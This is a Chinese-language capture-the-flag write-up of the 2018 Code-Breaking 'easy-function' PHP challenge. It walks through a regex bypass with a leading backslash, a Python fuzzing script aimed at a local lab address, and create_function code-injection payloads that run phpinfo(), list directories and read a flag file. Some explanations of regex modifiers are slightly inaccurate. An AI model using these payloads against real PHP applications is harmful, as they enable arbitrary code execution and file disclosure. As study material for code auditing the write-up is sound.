代码审计学习.CodeBreaking.easy-function

代码审计学习.Code-Breaking Puzzles.easy-function

最近在学代码审计,看P神代码审计星球的时候,刚好看到了2018年P神搞得代码审计挑战赛,题确实有点老了,但还是挺有收获的。

题目概述

在这里插入图片描述

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

代码审计

源码一目了然,首先就是Get获取两个参数 actionarg

action = _GET['action'] ?? '';
arg = _GET['arg'] ?? '';

双问号为三元运算表达式,即输入两个参数,若输入,则取我们的输入,否则为空

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

然后就是对action进行正则表达式过滤,不被匹配则进行如下操作

 $action('', $arg);

这句话什么意思呢?就是获取到的action参数会被作为一个函数,而括号里的则是两个参数,一个是'',一个就是获取到的另一个参数arg。很显然这里就是这道题的其中一个关键点。我们需要找一个需要两个参数且能够利用的函数。

漏洞思考

这道题有两个关键点,一个是正则匹配,一个就是利用两个参数进行危险函数构造

正则匹配
if(preg_match('/^[a-z0-9_]*$/isD',$action)

下面是对这个正则表达式的解析:

  • //:正则表达式的开始和结束标记。
  • ^:匹配字符串的开头。
  • [a-z0-9_]:字符类(character class),匹配任意小写字母、数字或下划线。
  • *:匹配前面的元素零次或多次。在这里,它表示匹配任意数量的小写字母、数字或下划线。
  • $:匹配字符串的结尾。
  • /isD:标记模式修饰符。

模式修饰符解释:

  • i:表示忽略大小写,使得字母的大小写不敏感。
  • s:表示将输入视为单行,使得 . 元字符也可以匹配换行符。
  • D:表示取不多余的模式修饰符,该模式修饰符在 PCRE(Perl Compatible Regular Expressions)中无实际意义。

所以,这个正则表达式主要用于判断 $action 的开头是否由任意大小写字母、数字和下划线组成,且没有其他字符。所以只要找到一个字符放在开头,且这个字符不能被正则匹配,我们就可以进行绕过。既然要找一个这样满足条件的字符,我们可以进行fuzz。

Python脚本

import requests

for i in range(1, 256):
    tmp = hex(i)[2:] 
#将整数 i 转换为十六进制表示,然后取掉前缀 ‘0x’,返回的是纯十六进制数的字符串表示。
    if len(tmp) < 2:
        tmp = '0' + hex(i)[2:] 
#Unicode编码都是两位数,在1-15的十六进制都是1位数,所以要凑两位数,加个0
    tmp = '%' + tmp 
#Unicode编码= % + 十六进制
    url = 'http://172.17.0.1:8087/?action=' + tmp + 'var_dump&arg=23333'
#var_dump 是一个 PHP 函数,用于打印关于一个或多个变量的结构化信息,包括变量的类型和值。
    r = requests.get(url=url)
    if b'23333' in r.content:
        print(r.content)
        print(url)
        break

运行结果

b'string(0) ""\nstring(5) "23333"\n'
http://172.17.0.1:8087/?action=%5cvar_dump&arg=23333

我们发现当且仅当使用 %5c 打头也就是 \ 时,我们可以正常运行var_dump(),成功绕过正则。

那么这是为什么呢?

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。

普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;

而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。

如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

具体可以看一看php手册,PHP: 命名空间概述 - Manual

到这里我们就完成了用%5c正则bypass。

构造危险函数

这里注意参数的构造方式

$action('',$arg);

需要一个可以输入至少2个参数的函数,同时第二个参数存在RCE的风险

这里可以看一看这篇文章,写的很不戳

https://skysec.top/2018/03/09/php-command%20or%20code-injection-summary/

可以找到如下函数,create_function() 匿名函数代码注入。

string create_function ( string $args , string $code )

string $args 变量部分
string $code 方法代码部分

create_function 函数在 PHP 7.2.0 版本中被废弃,在 PHP 7.2.0 之后的版本中已经移除。

官方样例:

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc";
echo $newfunc(2, M_E) . "
";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

我们可以得到create_function()这样的原型

functiontest($a,$b)
{
return"ln($a) + ln($b) = " . log($a * $b);
}

第一个参数控制函数的变量名,第二个参数控制函数内的代码

接下来可以说是很清晰了。直接拼接

action=%5ccreate_function&arg=return"2333";}phpinfo();/*
也就是
\ccreate_function('',return"2333";}phpinfo();/*)

就相当于

else {
    functiontest($a,$b)
    {
        return"2333";
    }
    phpinfo();#在这个地方就可以进行代码执行了
/*}

构造Payload

action=\create_function&arg=2;}print_r(scandir(%27../%27));/*

action=\create_function&arg=2;}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*

print_r(scandir('../')) 的作用是列出上一级目录中的所有文件和目录,并以可读性更好的格式输出

在这里插入图片描述在这里插入图片描述
参考文章
https://zhuanlan.zhihu.com/p/58713380
https://blog.csdn.net/dyw_666666/article/details/90047968
https://xz.aliyun.com/t/6333
https://blog.csdn.net/dyw_666666/article/details/90042852

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值